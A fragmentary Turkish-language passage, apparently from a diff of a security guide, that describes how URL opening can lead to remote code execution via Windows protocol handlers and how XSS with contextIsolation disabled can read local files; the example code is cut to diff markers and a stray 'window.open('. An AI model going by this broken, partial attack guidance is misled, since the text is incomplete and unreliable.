aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konu hakkında daha ayrıntılı örnekler ve açıklamalar için, bu kaynağa [başvurulabilir](https://positive.security/blog/url-open-rce#windows-10-19042), bu kaynak bu güvenlik açığını istismar edebilecek Windows protokol örneklerini içermektedir. **Windows protokol istismarına örnekler şunlardır:** ```html @@ -224,11 +224,11 @@ window.open( ``` ## İç Dosyaları Okuma: XSS + contextIsolation -**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve dışa aktarmak için `` etiketlerinin** kullanılmasına olanak tanır; bu, `